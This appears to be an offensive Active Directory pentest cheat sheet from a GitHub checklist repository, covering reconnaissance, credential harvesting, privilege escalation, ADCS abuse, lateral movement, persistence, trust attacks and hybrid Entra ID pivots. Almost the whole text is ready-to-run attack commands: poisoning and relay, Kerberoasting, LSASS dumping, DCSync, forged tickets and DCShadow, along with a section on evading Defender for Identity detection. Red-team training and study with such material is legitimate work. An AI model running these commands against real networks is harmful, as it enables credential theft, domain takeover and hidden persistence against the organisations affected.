Active Directory — Offensive Testing Methodology

Quick Workflow

1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0
4. Execute path with lowest detection cost, validate at each hop
5. Establish persistence and document every action with timestamps

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Reconnaissance

BloodHound Collection

# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip

# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth

# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All

PowerView (No Tool Drop)

# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}

ADExplorer Offline

# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/

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Credential Harvesting

LLMNR / NBT-NS / mDNS Poisoning

# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf

# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y

Crack with hashcat mode 5600. If cracking fails, relay instead.

NTLM Relay

# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt

# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
  --escalate-user attacker --delegate-access

# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController

Kerberoasting

# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt

# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule

ASREProasting

# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt

LSASS / SAM Dumping

:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full

:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)

:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid

Parse with Mimikatz or pypykatz offline:

pypykatz lsa minidump lsass.dmp

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Privilege Escalation Within AD

ACL Abuse

Right	Abuse
GenericAll / GenericWrite	Add SPN → Kerberoast; reset password; add member
WriteDacl	Grant yourself DCSync rights, then DCSync
WriteOwner	Take ownership → grant rights → exploit
AllExtendedRights (User)	Force password change
AllExtendedRights (Domain)	DCSync
AddMember	Add self to privileged group
WriteSPN	Set SPN, kerberoast target

# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname

# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
  -PrincipalIdentity attacker -Rights DCSync

Kerberos Delegation

# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap

# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \
  /msdsspn:cifs/dc.corp.local /ptt

# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires GenericAll/GenericWrite on the target computer object

Coercion Primitives

Technique	Tool / RPC
PetitPotam	MS-EFSRPC (EfsRpcOpenFileRaw, EfsRpcEncryptFileSrv)
PrinterBug	MS-RPRN (RpcRemoteFindFirstPrinterChangeNotificationEx)
DFSCoerce	MS-DFSNM (NetrDfsRemoveStdRoot)
ShadowCoerce	MS-FSRVP
WebDAV	Search-and-replace UNC path embedded in any web fetch

# Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
# Result: RBCD set, S4U → DA on coerced machine

GPO Abuse

# Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  ?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
     -and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }

# SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \
  --Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \
  --GPOName "Workstation Policy"

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ADCS Abuse — ESC1 through ESC15

Enumeration

certipy find -u [email protected] -p pass -dc-ip 10.0.0.1 -vulnerable -stdout

Common Misconfigurations

ID	Misconfig	Exploitation
ESC1	Client Auth + ENROLLEE_SUPPLIES_SUBJECT	Request cert with arbitrary UPN
ESC2	Any Purpose EKU	Request cert valid for any use
ESC3	Enrollment Agent	Request agent cert, then on-behalf-of any user
ESC4	Vulnerable template ACL	Modify template to ESC1
ESC6	EDITF_ATTRIBUTESUBJECTALTNAME2 on CA	SAN injection on any template
ESC7	Vulnerable CA ACL (ManageCA)	Approve own pending requests
ESC8	Web Enrollment HTTP + no EPA	NTLM relay → cert
ESC9	No security extension + UPN	UPN spoofing post-account-rename
ESC10	StrongCertificateBindingEnforcement weak	UPN spoofing without rename
ESC11	RPC unprotected (no ICertPassage IF_ENFORCEENCRYPTICERTREQUEST)	Relay over RPC
ESC13	Issuance policy linked to group	Cert grants group membership
ESC14	altSecurityIdentities write	Map attacker cert to admin
ESC15	EKUwu — schema v1 templates	Inject EKU at request time

ESC1 Exploitation

# Request cert as Administrator
certipy req -u [email protected] -p pass -ca CORP-CA -template VulnTemplate \
  -upn [email protected]

# Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

ESC8 (Web Enrollment Relay)

# Coerce any DC, relay to ADCS Web Enrollment, request DC cert
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController &
PetitPotam.py attacker-ip dc.corp.local
# Result: cert for DC$ → TGT → DCSync

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Lateral Movement

Pass-the-Hash / Overpass-the-Hash

# PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>

# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt

Pass-the-Ticket

# Inject TGT
Rubeus.exe ptt /ticket:base64.kirbi
# Or from .ccache
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local

Silent Lateral Tools

# WinRM (no event logs in default channel for command exec)
evil-winrm -i target -u admin -H <hash>

# SMB exec without service creation (uses task scheduler)
impacket-atexec corp/admin@target -hashes :<hash> "whoami"

# WMI
impacket-wmiexec corp/admin@target -hashes :<hash>

# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"

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Persistence

Golden Ticket (krbtgt forge)

# Requires krbtgt NT hash (from DCSync)
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local

Silver Ticket (per-service forge)

# Forge TGS for a specific service using its account hash
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \
  -spn cifs/server.corp.local Administrator

Diamond / Sapphire Ticket (modern, evades MDI on krbtgt)

# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512

DCSync

impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
# In-memory PowerShell variant (Mimikatz)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'

DCShadow (register rogue DC, push changes)

mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push

AdminSDHolder

Add ACE granting your account GenericAll on CN=AdminSDHolder,CN=System,DC=corp,DC=local. SDProp propagates to all protected groups every 60 minutes.

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Forest & Trust Attacks

# Map trusts
Get-DomainTrust -SearchBase "DC=corp,DC=local"
Get-ForestTrust

# SID History injection (cross-forest if SID filtering disabled)
# ExtraSids in golden ticket → admin in trusted forest
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID> \
  -extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator

# Trust ticket forging (inter-realm TGT)
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi

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Hybrid AD / Entra ID (Azure AD) Pivots

Pivot	Path
AAD Connect server compromise	Dump MSOL_ account → DCSync on-prem
Seamless SSO	Forge Kerberos ticket for AZUREADSSOACC$ → cloud SSO any user
PTA agent	DLL hijack Microsoft.Azure.SecurityTokenService → harvest cleartext
PHS hash sync	Read on-prem hashes from AAD Connect SQL (ADSync DB)
Federated trust	Forge SAML token via stolen ADFS token-signing cert (Golden SAML)
Pass-the-PRT	Steal PRT cookie from device → cloud session as user

# AADInternals — Hybrid identity attack toolkit
Get-AADIntADSyncCredentials  # Extract MSOL_ creds from AAD Connect
Open-AADIntOffice365Portal -AccessToken $token
New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust' \
  -PfxFileName 'token-signing.pfx'

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Detection Evasion (MDI / Defender for Identity)

MDI Detector	Evasion
Honeytoken account access	Always check description and recent activity before hitting accounts
Reconnaissance via SAMR	Use ADWS / LDAP-only collection, throttle
Suspicious Kerberos delegation	Avoid noisy S4U2self chains on monitored DCs
Golden/Silver Ticket detection	Use Diamond/Sapphire variants; match legitimate ticket lifetime/encryption
DCSync from non-DC	Relay through legitimate replication-permitted accounts
Pass-the-Hash	Use overpass-the-hash to convert to Kerberos before lateraling

# Identify MDI sensors before noisy actions
Get-DomainComputer -SPN '*MicrosoftATA*'
Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }

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Engagement Cheatsheet

# 1. Anonymous LDAP enum (no creds)
ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)"
nxc ldap dc -u '' -p '' --users

# 2. Null SMB session
nxc smb dc -u '' -p '' --shares
impacket-rpcclient -U '' dc -no-pass

# 3. Password spray (low and slow)
nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success

# 4. Once authed: full enum + BloodHound
bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip

# 5. Identify attack path → execute → loot → persist

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Key References

• MITRE ATT&CK: TA0006 (Credential Access), TA0008 (Lateral Movement), T1558 (Steal/Forge Kerberos)
• ADCS: SpecterOps "Certified Pre-Owned" (Schroeder, Christensen)
• BloodHound: bloodhound.specterops.io
• Coercion: github.com/p0dalirius/Coercer (unified coercion toolkit)
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/active-directory.md